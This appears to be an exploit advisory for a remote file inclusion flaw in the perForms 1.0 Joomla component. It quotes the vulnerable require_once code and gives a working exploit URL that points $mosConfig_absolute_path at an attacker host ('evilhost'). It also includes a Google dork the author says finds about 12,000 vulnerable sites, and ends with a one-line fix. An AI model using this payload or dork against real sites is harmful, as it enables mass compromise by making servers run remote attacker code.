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perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion
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Remote : Yes
Critical Level : High
Vuln founded in a log file: lazy 0day!!! :D
Description:
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Application : perForms Joomla Component
Version : latest version [1.0]
URL : http://forge.joomla.org/sf/projects/performs
Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on in /components/com_performs/com_performs/performs.php on lines 6-10

require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _template.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _valid.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib _phpForm.php" );
require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/myL ib.php" );
require_once($mosConfig_absolute_path."/administrator/components/com_per forms/class.performs.php");

Exploit:
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dork: inurl:"com_performs" -> founds ~12.000 sites (!)

http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost

Fix
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Add before code:

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');

Thx

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